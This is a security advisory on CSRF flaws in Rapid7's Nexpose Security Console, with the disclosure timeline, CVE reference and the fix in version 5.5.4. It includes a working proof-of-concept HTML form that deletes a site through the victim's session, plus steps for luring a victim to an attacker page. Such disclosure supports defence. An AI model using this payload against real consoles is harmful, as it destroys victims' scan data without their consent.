|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56  |  Product: Nexpose Security Console Vendor: Rapid7 Version: < 5.5.3 Tested Version: 5.5.1 Vendor Notified Date: December 19, 2012 Release Date: January 2, 2013 Risk: High Authentication: None required Remote: Yes Description: Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose  Security Console 5.5.3 and below allow remote attackers to submit  actions on a legitimate user’s behalf. By not properly checking each URL, an attacker can execute requests on  behalf of a legitimate user. If an authenticated user is tricked into visiting a specially crafted  page, it may be possible to perform user-initiated actions on the web  application using the victim’s established session. Successful exploitation of this vulnerability resulted in deleting scan  data and sites during the proof-of-concept. Exploit steps for proof-of-concept: 1.Create an external site/page:  http://attackersite.com/nexpose-csrf.htm that contains: [code] <html>  <!-- Nexpose CSRF PoC -->  <body>  <form  action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1"  method="POST"enctype="multipart/form-data">  <input type="submit" value="delete site" />  </form>  <script>  //document.forms[0].submit(); //uncomment to auto-submit  </script>  </body> </html> [/code] 2.Lure victim to http://attackersite.com/nexpose-csrf.htm. 3.Site with ID 1 is deleted when form is submitted. Vendor Notified: Yes Vendor Response: Quickly escalated and resolved. Vendor Update: Remediated in 5.5.4. Reference: CVE-2012-6493 https://community.rapid7.com/docs/DOC-2065#release5 https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) Credit: Robert Gilbert HALOCK Security Labs  |